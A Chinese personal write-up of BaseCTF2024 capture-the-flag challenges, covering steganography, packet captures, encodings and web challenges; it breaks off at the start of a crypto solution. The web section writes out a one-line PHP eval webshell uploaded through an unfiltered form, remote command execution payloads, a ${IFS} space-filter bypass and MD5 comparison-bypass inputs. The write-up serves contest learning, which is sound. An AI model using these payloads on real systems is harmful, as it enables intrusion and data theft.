11228 字
56 分钟
BaseCTF2024 个人Writeup
2024-08-30

{% note info %}

因为BaseCTF举办期间,我刚好遇上了开学,而且又是新生入学,后面没什么时间打,于是就不按周次发wp了,直接就放出来吧

{% endnote %}

MISC#

你也喜欢圣物吗#

鲁迪是个老hentai!

附件下载下来有两个文件

  • sweeeeeet.png
  • where_is_key.zip(加密,里面有个where_is_key.zip)

附件原图sweeeeeet.png

先用TweakPNG分析一下,提示我们有冗余数据

在png中,冗余数据如果要有,那就是在文件尾,然后在文件尾就可以看到有一段base编码后的字符

赛博厨师解码一下,发现是一段提示

告诉我们是LSB隐写了,但是我用StegSolve搞半天出不来,最后我决定用大佬的Python脚本

from PIL import Image
import sys
def toasc(strr):
return int(strr, 2)
# str1为所要提取的信息的长度(根据需要修改),str2为加密载体图片的路径,str3为提取文件的保存路径
def decode(str1, str2, str3):
b = ""
im = Image.open(str2)
lenth = int(str1) * 8
width, height = im.size[0], im.size[1]
count = 0
for h in range(height):
for w in range(width):
# 获得(w,h)点像素的值
pixel = im.getpixel((w, h))
# 此处余3,依次从R、G、B三个颜色通道获得最低位的隐藏信息
if count % 3 == 0:
count += 1
b = b + str((mod(int(pixel[0]), 2)))
if count == lenth:
break
if count % 3 == 1:
count += 1
b = b + str((mod(int(pixel[1]), 2)))
if count == lenth:
break
if count % 3 == 2:
count += 1
b = b + str((mod(int(pixel[2]), 2)))
if count == lenth:
break
if count == lenth:
break
with open(str3, "w", encoding="utf-8") as f:
for i in range(0, len(b), 8):
# 以每8位为一组二进制,转换为十进制
stra = toasc(b[i : i + 8])
# 将转换后的十进制数视为ascii码,再转换为字符串写入到文件中
# print((stra))
f.write(chr(stra))
print("sussess")
def plus(string):
# Python zfill() 方法返回指定长度的字符串,原字符串右对齐,前面填充0。
return string.zfill(8)
def get_key(strr):
# 获取要隐藏的文件内容
with open(strr, "rb") as f:
s = f.read()
string = ""
for i in range(len(s)):
# 逐个字节将要隐藏的文件内容转换为二进制,并拼接起来
# 1.先用ord()函数将s的内容逐个转换为ascii码
# 2.使用bin()函数将十进制的ascii码转换为二进制
# 3.由于bin()函数转换二进制后,二进制字符串的前面会有"0b"来表示这个字符串是二进制形式,所以用replace()替换为空
# 4.又由于ascii码转换二进制后是七位,而正常情况下每个字符由8位二进制组成,所以使用自定义函数plus将其填充为8位
string = string + "" + plus(bin(s[i]).replace("0b", ""))
# print(string)
return string
def mod(x, y):
return x % y
# str1为载体图片路径,str2为隐写文件,str3为加密图片保存的路径
def encode(str1, str2, str3):
im = Image.open(str1)
# 获取图片的宽和高
width, height = im.size[0], im.size[1]
print("width:" + str(width))
print("height:" + str(height))
count = 0
# 获取需要隐藏的信息
key = get_key(str2)
keylen = len(key)
for h in range(height):
for w in range(width):
pixel = im.getpixel((w, h))
a = pixel[0]
b = pixel[1]
c = pixel[2]
if count == keylen:
break
# 下面的操作是将信息隐藏进去
# 分别将每个像素点的RGB值余2,这样可以去掉最低位的值
# 再从需要隐藏的信息中取出一位,转换为整型
# 两值相加,就把信息隐藏起来了
a = a - mod(a, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
b = b - mod(b, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
c = c - mod(c, 2) + int(key[count])
count += 1
if count == keylen:
im.putpixel((w, h), (a, b, c))
break
if count % 3 == 0:
im.putpixel((w, h), (a, b, c))
im.save(str3)
if __name__ == "__main__":
if "-h" in sys.argv or "--help" in sys.argv or len(sys.argv) < 2:
print("Usage: python test.py <cmd> [arg...] [opts...]")
print(" cmds:")
print(" encode image + flag -> image(encoded)")
print(" decode length + image(encoded) -> flag")
sys.exit(1)
cmd = sys.argv[1]
if cmd != "encode" and cmd != "decode":
print("wrong input")
sys.exit(1)
str1 = sys.argv[2]
str2 = sys.argv[3]
str3 = sys.argv[4]
if cmd != "encode" and cmd != "decode":
print("Wrong cmd %s" % cmd)
sys.exit(1)
elif cmd == "encode":
encode(str1, str2, str3)
elif cmd == "decode":
decode(str1, str2, str3)

然后运行命令

Terminal window
$ python steg.py decode 64 .\sweeeeeet.png flag.txt
# 这个东西用来解题的用法是:python + python文件名 + decode + 长度 + 图片位置 + 输出位置

因为不知道我们的flag有多长,所以我设置了64,但是出来的其实也不是flag,而是一段文字,有意义的就是lud1_lud1(真就鲁迪啊)

然后把这个密码拿去解压压缩包,里面的文件可以解压出来,但是里面这个压缩包还有密码

看似已经没有提示了,所以我想到的是伪加密,我尝试使用ZipCracker来自动解除伪加密

ZipCracker: https://github.com/asaotomo/ZipCracker

结果跟我想的一样,它是个伪加密

打开里面的flag.txt文件,是两段base编码分布在文件的头部和尾部(你中间放一堆回车防谁呢)

拿去bake一次,发现结果里面还有一段,并且告诉我们前面半段是假的

拿着后面再bake一次就出来了

海上遇到了鲨鱼#

来看看网络鲨鱼吧

附件下载下来是个.pcapng文件,也就是wireshark的抓包文件,我们把它打开(我用的Omnipeek)

发现里面有几个请求

/wireshark/flag.php文件的访问,返回的内容为}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB,估计是倒转了,所以我们直接转回来就行了

original_string = "}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB"
print(original_string[::-1])

然后就能得到flag了

Base#

Base啊Base,去学学编码吧

这里提示很明显了,base编码方式,文件里面内容为KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======

五个等号,base32,解码一下发现没出来,再来一次32发现不对,那来一次64,就出来了

人生苦短,我用Python#

下载下来一个Python文件

import base64
import hashlib
def abort(id):
print('You failed test %d. Try again!' % id)
exit(1)
print('Hello, Python!')
flag = input('Enter your flag: ')
if len(flag) != 38:
abort(1)
if not flag.startswith('BaseCTF{'):
abort(2)
if flag.find('Mp') != 10:
abort(3)
if flag[-3:] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}':
abort(4)
if ord(flag[-1]) != 125:
abort(5)
if flag.count('_') // 2 != 2:
abort(6)
if list(map(len, flag.split('_'))) != [14, 2, 6, 4, 8]:
abort(7)
if flag[12:32:4] != 'lsT_n':
abort(8)
if '😺'.join([c.upper() for c in flag[:9]]) != 'B😺A😺S😺E😺C😺T😺F😺{😺S':
abort(9)
if not flag[-11].isnumeric() or int(flag[-11]) ** 5 != 1024:
abort(10)
if base64.b64encode(flag[-7:-3].encode()) != b'MG1QbA==':
abort(11)
if flag[::-7].encode().hex() != '7d4372733173':
abort(12)
if set(flag[12::11]) != {'l', 'r'}:
abort(13)
if flag[21:27].encode() != bytes([116, 51, 114, 95, 84, 104]):
abort(14)
if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610:
abort(15)
if not all([flag[0].isalpha(), flag[8].islower(), flag[13].isdigit()]):
abort(16)
if '{whats} {up}'.format(whats=flag[13], up=flag[15]).replace('3', 'bro') != 'bro 1':
abort(17)
if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479':
abort(18)
print('🎉 You are right!')
import this

这里给了很多信息

  • flag的长度为38
  • flag的头一定为BaseCTF{
  • flag的第11和12位一定为Mp
  • flag的最后三位一定为3x}
  • flag的最后一位的字符的ASCII码为125(}
  • flag里面下划线_的数量整除2的结果为2,也就是下划线数量为4~5个
  • flag中使用下划线_分割后,每一部分的字符数目为14, 2, 6, 4, 8(变相告诉我们只有4个下划线)
  • flag中13~33位中一定含有字符lsT_n
  • flag的前9位为BaseCTF{s或者BaseCTF{S
  • flag的倒数第七个字符到倒数第三个字符的base64编码为MG1QbA==0mPl
  • flag倒着取,每七个取一个字符,经过hex编码后结果为7d4372733173}Crs1s
  • flag从第13位开始,每11个字符取一次(第13位、第24位、第35位),这三位的字符一定为l或者r
  • flag的第22位到第28位的编码结果是[116, 51, 114, 95, 84, 104]t3r_Th
  • flag的第18位到20位的字符对应的ASCII值乘以2024_08_15的指数总和等于41378751114180610
  • flag的第一位为字母(已经得知是B),第九位为小写字母,第14位为数字
  • flag的第14位为3,第16位为1
  • flag经过sha1编码后的结果为e40075055f34f88993f47efb3429bd0e44a7f479
1234567891011121314151617181920212223242526272829303132333435363738
BaseCTF{sMpl/r3_1_t3r_Th_C0mPl3x}

综合这些条件,我们就可以得到上面这个表所示的提示

然后我就开始猜了,这个跟英语的功底有一定关系的

  • 结合第9~14位为(未知用*代替)s*Mp*3,我的想法是simple这个单词,所以我猜了s1Mp13
  • 第16~17位为两个字母的单词,我想到的就是is,所以我猜了1s

此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th**_C0mpl3x},我再猜

  • 第26~29位不是this就是that,按照英语的习惯,我猜是个that,所以这个地方可能为Th4t

此时就变成了BaseCTF{s1Mp13_1s_***t3r_Th4t_C0mpl3x},就剩下中间的***

这里第十五个条件:sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610的计算方式如下(假设flag的第18到21位为abc)

  • 使用enumerate生成带索引的列表,为[(0, "a"), (1, "b"), (2, "c")]
  • 然后对每个索引进行计算
    • 生成字符的ASCII码,例如a为97
    • 使用a的ASCII码进行运算:97 * 20240815 ** 0,此处的0是索引

这个时候我们就得到了一个方程(设α、β、γ为三个位置的字符的ASCII码)

其中,20240815^2 === 409690591864225, 而41378751114180610 // 409690591864225 = 101,所以我猜γ=101e

然后用(41378751114180610 - 409690591864225*101) // 20240815 = 66,猜测β=66B

最后用41378751114180610 - 409690591864225 * 101 - 20240815 * 66 = 95,猜测α=95_

此时flag为BaseCTF{s1Mp13_1s__Bet3r_Th4t_C0mpl3x}

发现不对,下划线只能有4个,而我们的已知条件已经有4个了,这样的话分段数目不对

然后我发现我错了,这里[17:20]是左闭右开区间,也就是应该是第18位到20位的内容为这些(上面条件里面已经更正过来了),所以应该为BaseCTF{s1Mp13_1s_Be*t3r_Th4t_C0mpl3x},所以我猜测中间那个未知的词为better,那么就有Bett3rBeTt3r的写法,但是我都尝试了,不管是BaseCTF{s1Mp13_1s_Bett3r_Th4t_C0mpl3x}还是BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x}都不对,说明Th4t那个地方应该是错的

那就可能为This了,也说得通:Simple is better, this complex

所以尝试一下thisthis可写作ThisTh1sThiSThis,都去试试

然后我想起来了,这个代码不就是用来检测flag的嘛……然后用这个代码检测,发现过不了第八项

所以第八项告诉我们一定是写作BeTt3r,就变成了BaseCTF{s1Mp13_1s_BeTt3r_Th4t_C0mpl3x},但是还有一个错了,根据第八项取得最后一个字母错了,他是n,所以我就想到了than这个单词(表示比较),所以我拿去试试,用BaseCTF{s1Mp13_ls_BeTt3r_Th4n_C0mpl3x}

然后还是错了,发现是simple这个单词里面的l就是l,我就用了BaseCTF{s1Mpl3_ls_BeTt3r_Th4n_C0mpl3x}

过不了第十一项,complex应该为C0mPl3x(当时打错了),然后是过不了第17项,所以is应该写作1s,最终确定flag为BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}

签到#

关注公众号然后签到就有了

根本进不去啊#

这个是考了DNS记录的其他类型,我们平常用的最多的是A和CNAME,但是实际上TXT类型的DNS记录可以用来存文本

使用Linux的dig命令可以查看到域名下的TXT记录

所以我们dig一下flag.basectf.fun的TXT记录就出来了

你会算md5吗#

下载下来是个Python脚本

import hashlib
flag='BaseCTF{}'
output=[]
for i in flag:
my_md5=hashlib.md5()
my_md5.update(i.encode())
output.append(my_md5.hexdigest())
print("output =",output)
'''
output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
'''

这个直接md5碰撞就完事了,写个Python脚本自动生成结果

import hashlib
import string
def generate_md5_dict():
# 定义所有字符集,包括字母、数字和常见符号
chars = (
string.ascii_uppercase
+ string.ascii_lowercase
+ string.digits
+ "!\"#$%&'()*+,-./:;<=>?@[\\]_^`{|}~" # 常见符号
)
# 初始化一个空字典来存储结果
md5_dict = {}
# 遍历所有字符
for char in chars:
# 计算MD5哈希值
md5_hash = hashlib.md5(char.encode()).hexdigest()
# 将MD5哈希值和字符存入字典
md5_dict[md5_hash] = char
return md5_dict
# 生成字典
md5_dictionary = generate_md5_dict()
# 打印字典
for md5_value, character in md5_dictionary.items():
print(f"MD5: {md5_value} -> Character: {character}")
output = [
"9d5ed678fe57bcca610140957afab571",
"0cc175b9c0f1b6a831c399e269772661",
"03c7c0ace395d80182db07ae2c30f034",
"e1671797c52e15f763380b45e841ec32",
"0d61f8370cad1d412f80b84d143e1257",
"b9ece18c950afbfa6b0fdbfa4ff731d3",
"800618943025315f869e4e1f09471012",
"f95b70fdc3088560732a5ac135644506",
"0cc175b9c0f1b6a831c399e269772661",
"a87ff679a2f3e71d9181a67b7542122c",
"92eb5ffee6ae2fec3ad71c777531578f",
"8fa14cdd754f91cc6554c9e71929cce7",
"a87ff679a2f3e71d9181a67b7542122c",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"0cc175b9c0f1b6a831c399e269772661",
"e4da3b7fbbce2345d7772b0674a318d5",
"336d5ebc5436534e61d16e63ddfca327",
"eccbc87e4b5ce2fe28308fd9f2a7baf3",
"8fa14cdd754f91cc6554c9e71929cce7",
"8fa14cdd754f91cc6554c9e71929cce7",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"336d5ebc5436534e61d16e63ddfca327",
"a87ff679a2f3e71d9181a67b7542122c",
"8f14e45fceea167a5a36dedd4bea2543",
"1679091c5a880faf6fb5e6087eb1b2dc",
"a87ff679a2f3e71d9181a67b7542122c",
"336d5ebc5436534e61d16e63ddfca327",
"92eb5ffee6ae2fec3ad71c777531578f",
"8277e0910d750195b448797616e091ad",
"0cc175b9c0f1b6a831c399e269772661",
"c81e728d9d4c2f636f067f89cc14862c",
"336d5ebc5436534e61d16e63ddfca327",
"0cc175b9c0f1b6a831c399e269772661",
"8fa14cdd754f91cc6554c9e71929cce7",
"c9f0f895fb98ab9159f51fd0297e236d",
"e1671797c52e15f763380b45e841ec32",
"e1671797c52e15f763380b45e841ec32",
"a87ff679a2f3e71d9181a67b7542122c",
"8277e0910d750195b448797616e091ad",
"92eb5ffee6ae2fec3ad71c777531578f",
"45c48cce2e2d7fbdea1afc51c7c6ad26",
"0cc175b9c0f1b6a831c399e269772661",
"c9f0f895fb98ab9159f51fd0297e236d",
"0cc175b9c0f1b6a831c399e269772661",
"cbb184dd8e05c9709e5dcaedaa0495cf",
]
result = ""
for item in output:
try:
result += md5_dictionary[item]
except KeyError:
print(item)
print(result)
print(result)

跑一下就出来了

二维码1-街头小广告#

Naril 在街头见到地上有一张印有二维码的小广告,好像还被人踩了一脚

下载下来是个图片

很明显这里把二维码的定位框给遮住了,我们手动给它弄一个上去

扫出来结果是https://www.bilibili.com@qr.xinshi.fun/BV11k4y1X7Rj/mal1ci0us?flag=BaseCTF%7BQR_Code_1s_A_f0rM_Of_m3s5ag3%7D

拿去URL解码一下就有了

哇!珍德食泥鸭(未做出)#

谐音梗扣钱!

flag藏哪了?仔细找找吧 可能就在眼前哦

下载下来一张gif图片,丢进010Editor里面发现后冗余数据,并且PK两个字符,让我猜测是zip文件

先用010Editor把这部分数据导出为zip,但是发现打开来目录结构又很像是docx

再把后缀改为docx,可以正常打开

但是文档里没有任何有效的信息,再次以zip格式打开这个文件,发现在word文件的媒体目录下还有一个文件

海上又遇了鲨鱼#

怎么又看到网络鲨鱼了?!!

下载下来还是Wireshark包,但是这次是ftp协议

这里用Wireshark会方便一点,我们现在上面的搜索框搜索ftp || ftp-data来过滤我们需要的ftp数据包,然后选择protocol写着FTP-DATA的包,右键它选择追踪

在弹出的窗口中,选择原始数据,然后另存为文件

出来的zip文件有密码,说明我们得回去wireshark里面找

回到wireshark,找一找有没有密码相关的内容,找到ftp用户登录的密码为Ba3eBa3e!@#,拿去解压一下zip,发现是正确的,就得到flag了

黑丝上的flag#

关注VY-netcat喵, star关注VY-netcat谢谢喵

嗯,下载下来是个图片,确实是黑丝……

然而调下亮度就出来了,没啥技术含量

另:其实只要你眼里够好,盯帧也能看出来

Aura 酱的旅行日记 <图寻擂台>#

Aura 酱来旅游啦, 快来看看他到了什么地方吧

答案请使用如下格式 BaseCTF{XX省XX市XX区XX路XX号}

一血获得者可以抢占擂台, 成为第二次图寻题的出题人, 我们可能会通过邮箱联系你

一血是不可能一血的,怎么抢得过那些手速快的哦~

这题目提供的图片……我怎么这么熟…… 本来以为是省博,但是不对

百度识图一下,发现就可以找到跟题目给的图很像的布局的博物馆

从地图搜索一下,就可以得知它的地址是成都市成华区成华大道十里店路88号,成都位于四川,所以最终结果为BaseCTF{四川省成都市成华区成华大道十里店路88号}

前辈什么的最喜欢了#

下载下来是个base64编码后的图片文本

丢去转为图片,发现打不开,用010Editor打开查找BaseCTF可以找到flag内容

Web#

HTTP 是什么呀#

成为嘿客的第一步!当然是 HTTP 啦! 可以多使用搜索引擎搜索每个参数的含义以及传参方式

💡 看看你是怎么到达最后一个页面的,中途是不是经过了什么?

打开网页后有如下要求

  • GET参数basectf=we1c%00me
  • POST参数Base=fl@g
  • Cookie传入c00k13=i can't eat it
  • User-Agent传入Base
  • Referer传入Base
  • IPX-Forwarded-For传入127.0.0.1

一切用Hackbar就可以搞定,但是GET的那个百分号要转义一下

来到这个页面没有flag,但是提示已经告诉我们了中间有一个页面,我们看到Network选项卡可以看到有个重定向里面有flag

把他提供的内容拿去base64解码一下就有了

喵喵喵´•ﻌ•`#

小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习…

进来以后是PHP源码

<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['DT'];
eval($a);
?>

很明显了就是RCE,我们尝试传入phpinfo();验证了我们的猜想

但是我传入了exec("ls")shell_exec("ls")都没反应,可能是服务器把这两个函数禁用了 这两个函数是没有输出的,要加print,但是我发现了用system("ls")可以,我就用来找flag的位置了

找到了,cat出来就有了

md5绕过欸#

绕哇绕哇绕

打开了还是PHP源码

<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}
}
else {
echo '没看到参数呐';
}
?>

这里要求我们GET参数namename2,POST内容passwordpassword2

namepassword不相等并且name的md5值与password的md5值相等

这里出现了四种PHP运算符:

  • != 不等运算符,会进行类型转换,然后比较两个变量的值是否不等
  • == 相等运算符,会进行类型转换,然后比较两个变量的值是否相等
  • !== 不全等运算符,不会进行类型转换,当类型不一致或者类型一致但是值不一致的时候返回True
  • === 全等运算符,不会进行类型转换,当类型一致且值一致的时候返回True

不等/相等绕过#

这题第一个条件$name != $password && md5($name) == md5($password),前半很好满足,后半看似要找两个md5值相同的内容,但其实不是

我们上面说了,==会进行强制类型转换,而如果我们这个时候的md5值的头部是0e会怎么样呢?会显示为科学计数法0exxxxxxx,被PHP认为是数字,而这个数字非常地小,所以转换后结果为0,实现绕过

所以我们可以传入name=QNKCDZOpassword=240610708,这样分别对应了0e8304004519934940580242199033910e462097431906509019562988736854就绕过了第一层

附:抄过来的md5以0e开头的常见字符串

  • QNKCDZO 0e830400451993494058024219903391
  • 240610708 0e462097431906509019562988736854
  • s878926199a 0e545993274517709034328855841020
  • s155964671a 0e342768416822451524974117254469
  • s214587387a 0e848240448830537924465865611904
  • s214587387a 0e848240448830537924465865611904
  • s878926199a 0e545993274517709034328855841020
  • s1091221200a 0e940624217856561557816327384675
  • s1885207154a 0e509367213418206700842008763514
  • s1502113478a 0e861580163291561247404381396064
  • s1885207154a 0e509367213418206700842008763514
  • s1836677006a 0e481036490867661113260034900752
  • s155964671a 0e342768416822451524974117254469
  • s1184209335a 0e072485820392773389523109082030
  • s1665632922a 0e731198061491163073197128363787
  • s1502113478a 0e861580163291561247404381396064
  • s1836677006a 0e481036490867661113260034900752
  • s1091221200a 0e940624217856561557816327384675
  • s155964671a 0e342768416822451524974117254469
  • s1502113478a 0e861580163291561247404381396064
  • s155964671a 0e342768416822451524974117254469
  • s1665632922a 0e731198061491163073197128363787
  • s155964671a 0e342768416822451524974117254469
  • s1091221200a 0e940624217856561557816327384675
  • s1836677006a 0e481036490867661113260034900752
  • s1885207154a 0e509367213418206700842008763514
  • s532378020a 0e220463095855511507588041205815
  • s878926199a 0e545993274517709034328855841020
  • s1091221200a 0e940624217856561557816327384675
  • s214587387a 0e848240448830537924465865611904
  • s1502113478a 0e861580163291561247404381396064
  • s1091221200a 0e940624217856561557816327384675
  • s1665632922a 0e731198061491163073197128363787
  • s1885207154a 0e509367213418206700842008763514
  • s1836677006a 0e481036490867661113260034900752
  • s1665632922a 0e731198061491163073197128363787
  • s878926199a 0e545993274517709034328855841020

不全等/全等绕过#

这个就得真的用两个内容不一样,但是md5值一样的字符串了,我们用一个碰撞器来弄到我们要的东西

Fastcoll: https://github.com/AndSonder/fastcoll/blob/master/README.md

我先写了一个文件叫做HelloWorld.txt,里面的内容就是为空(其实文件里面也可以放东西,但是可能计算时间会久一点),然后用这个软件来帮我碰撞

Terminal window
./fastcoll_v1.0.0.5.exe -p HelloWorld.txt -o hw1.txt hw2.txt

因为输出的文件很多不可见字符,我们要对所有的字符进行URL编码后再发送,我用了PHP来做这个事情,因为Python死活读不到文件

<?php
function readmyfile($path){
$fh = fopen($path, "rb");
$data = fread($fh, filesize($path));
fclose($fh);
return $data;
}
echo '二进制md5加密 '. md5( (readmyfile("hw1.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("hw1.txt"));
echo "</br>";
echo '二进制md5加密 '.md5( (readmyfile("hw2.txt")));
echo "</br>";
echo 'url编码 '. urlencode(readmyfile("hw2.txt"));
echo "</br>";

放到我的PHPStudy环境,访问就可以得到了

二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff
url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%8Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%9D%1AO%A2%ECB%E0%83W%84%DB%C3%7C%0BKK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%60t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah+%EE%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%A2%D9h%C7%40
二进制md5加密 f2038bd4ac2833e87fd0ad8b5261c9ff
url编码 %F3L%27sZ%AF%89fS%F7%A7g-%9E2My%9AT%0Bbrs%07%19%CA8%FD%17%1A%BA%FD%BA%AB%03%EE%DCc%E8Zo%BC%F5a%EB%1D%1BO%A2%ECB%E0%83W%84%DB%C3%7C%0B%CBK8%DA%3D%3F%5C%D2%0A%02%5E%AE%0B%BF%C8%9AE%26%89%2FW%AFuY%E0t%9B%01%E2%AD%C3%10P%9B_H%A8%CF%7D%18%24%9F%06%93%3C5%3F%C4%3Ah%A0%ED%D4%86%B6%F4%5E%40%19%C4%80%91%82%FB%22%D9h%C7%40

然后把两个url编码放到hackbar里,进行POST请求,本来就可以得到flag了,结果!!!

不对啊!!!思路是正确的为啥出不来,没办法自己搞不定就去问人了

然后我打开了我的Burpsuite,再发送一下我的请求,然后就可以了

这波Hackbar背大锅

补充:md5全等绕过的第二种做法#

传入name2[]=1password2[]=3(数字随意)也可以绕过,因为md5传入数组的时候,返回结果都是null

A Dark Room#

文字游戏 玩得开心!

打开来是个网页,我一开始以为真的要从文字游戏里面找线索,结果一按F12

好吧,这就得到flag了

upload#

快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?

这里提示我们了是文件上传没有进行严格的过滤而导致的漏洞,我们直接生成一个webshell,我这里用的是哥斯拉

生成了一个webshell.php文件,内容如下

<?php
eval($_POST["pass"]);

上传后可以看到源码

<?php
error_reporting(0);
if (isset($_FILES['file'])) {
highlight_file(__FILE__);
$file = $_FILES['file'];
$filename = $file['name'];
$filetype = $file['type'];
$filesize = $file['size'];
$filetmp = $file['tmp_name'];
$fileerror = $file['error'];
if ($fileerror === 0) {
$destination = 'uploads/' . $filename;
move_uploaded_file($filetmp, $destination);
echo 'File uploaded successfully';
} else {
echo 'Error uploading file';
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>上传你喜欢的图片吧!</title>
</head>
<body>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<button type="submit">上传!</button>
</form>
<?php
$files = scandir('uploads');
foreach ($files as $file) {
if ($file === '.' || $file === '..') {
continue;
}
echo "<img src='uploads/$file' style=\"max-height: 200px;\" />";
}
?>
</body>
</html>

发现上传后的文件在uploads文件夹里,且没有被改名字,直接打开蚁剑进行连接

可以在根目录下找到flag文件,打开就能看到flag了

一起吃豆豆#

进来是个吃豆人游戏,但是看了一下js,发现有11关,那当然不可能让你把十一关都打完啦

第一种做法:修改通关条件#

在js中,我找到了判断通关的条件,我把其中的小于号改为大于号,即场内有豆子即判定为通关

然后就达到了跳关的目的,拿到了Flag

第二种做法:直接找到通关信息#

搜索“结束”这个关键词,可以看到结束页面的信息

把结束页面经过Base64编码的消息拿去解码就可以得到flag了

你听不到我的声音#

我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

进来是PHP源码

<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);

因为shell_exec是没有回显的,所以我们在这里运行shell命令就跟题目描述一样不给输出,我们可以用输出到文件的方式来得到我们的输出

我们先传入cmd=find / -iname "flag" > output.txt,通过>来把输出写到output.txt里面去,我们再去访问output.txt

于是我们知道了flag在/flag文件内,再给它读出来,就成功拿到flag了

数学大师#

Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

说白了就是写脚本,写个脚本算出来然后提交就行了

import httpx
client = httpx.Client()
url = "http://challenge.basectf.fun:30394/"
response = client.get(url)
print(response.text)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")
while True:
response = client.post(
url,
data={
"answer": eval(formula)
}
)
formula = response.text.split(" ")[-1].replace("?", "").replace("×", "*").replace("÷", "//")
if "{" in response.text and "}" in response.text:
print(response.text)
break
else:
print(response.text)

RCEisamazingwithspace#

RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace

说人话就是禁用了空格,从代码也能看出来

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
// execute the command
system($cmd);

这里就要涉及到RCE的空格过滤绕过了,我们用到${IFS}来充当空格,因为这个变量在Linux系统里面默认指向空格(可参考下图GPT的解释)

所以就可以构建出下面这样的payload来搜索flag的位置

然后把它cat出来就可以了,cat这里我用的是第二种表示方法,即$IFS$9

Crypto#

helloCrypto#

第一步,装好python;第二步,学会装库。

附件是Python代码,直接反着来就行了

from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
# 已知的 key 和 ciphertext
key1 = 208797759953288399620324890930572736628
